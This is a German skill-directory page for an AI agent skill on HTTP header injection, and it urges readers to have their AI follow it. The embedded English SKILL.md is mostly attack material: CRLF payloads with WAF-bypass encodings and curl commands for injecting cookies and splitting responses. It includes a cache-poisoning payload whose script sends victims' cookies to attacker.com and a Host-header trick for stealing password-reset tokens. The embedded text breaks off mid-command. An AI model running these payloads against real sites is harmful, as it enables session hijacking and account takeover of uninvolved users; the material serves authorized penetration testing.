Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #14064

header-injection

Was er macht

Diese Fähigkeit erklärt, wie Benutzereingaben in HTTP-Header gelangen und Antworten oder Caches verändern können. Sie richtet sich an Sicherheitsprüfer, die den Umgang mit Headern und Zurücksetzungslinks testen.

Wann du ihn nutzt

  • ✓Wenn eine Website Benutzereingaben in Weiterleitungs-, Cookie- oder Download-Header kopiert und du das testen willst.
  • ✓Wenn ein Link zum Zurücksetzen des Passworts aus dem Host-Namen der Anfrage gebaut zu sein scheint.
  • ✓Wenn du prüfen musst, ob Cache-Systeme bestimmte Header unsicher behandeln.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kannst du prüfen, ob meine Passwort-Zurücksetz-E-Mails verändert werden können, indem man einen anderen Host-Header sendet?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent sendet Anfragen mit Zeilenumbruch-Zeichen und veränderten Host- oder Weiterleitungs-Headern und prüft, ob der Server neue Header zurückgibt oder Links aus der Eingabe baut.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

HTTP Header Injection

Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.

Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.

Attack Surface

  • Query/body/path parameters echoed into Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headers
  • Request headers re-reflected into responses: Referer, User-Agent, X-Forwarded-Host, correlation IDs
  • Password-reset / account-recovery flows where the reset link is built from the Host header
  • OAuth/SSO redirect flows where Location is derived from user input
  • CDN/reverse-proxy stacks where X-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLs
  • Content-Disposition: attachment; filename=<user_input> file-download endpoints
  • Outbound email headers populated from user-supplied fields (To/From/Subject)

CR/LF Injection Payload Set

These are the characters and encodings to inject. Try each until one survives to the response header:

Encoding Value Notes
URL bare LF %0a Most permissive servers
URL bare CR %0d Rarely effective alone
URL CRLF %0d%0a Classic; many filters strip this
Double-encoded %250d%250a Bypasses single-decode WAFs
Tab %09 RFC 7230 permits tab in field values; some parsers fold into preceding header
Null byte %00 Truncates value in some C-based parsers
Unicode LS/PS %e2%80%a8 / %e2%80%a9 U+2028/U+2029; some intermediaries fold to LF
Overlong UTF-8 CR %c0%8d Invalid per spec but accepted by some older parsers

CRLF Response Splitting

Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.

Detection

TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
  | grep -iE "^< (set-cookie|location|http)"

# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
  | grep -i "x-injected"

Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.

Exploitation: Inject Arbitrary Cookie

PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"

If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.

Exploitation: Response Splitting for Cache Poisoning

# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"

Host Header Poisoning

The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.

Password Reset Link Hijacking

The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.

# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"vi
Häufige Fragen

Warum erwähnt die Fähigkeit Cache-Vergiftung?

Sie sagt, manche Header verändern Antworten, gehören aber nicht zum Cache-Schlüssel. Eine falsche Antwort kann daher anderen Benutzern ausgeliefert werden.

Deckt sie Dateinamen beim Download ab?

Ja. Sie behandelt den Header Content-Disposition, der Dateinamen bei Downloads festlegt.

Ist das nur zum Testen gedacht?

Ja, für Sicherheitstests. Die Fähigkeit sagt, sie darf nur auf Systemen genutzt werden, die du prüfen darfst.

Details

Originalbeschreibung des Autors

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#14064
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills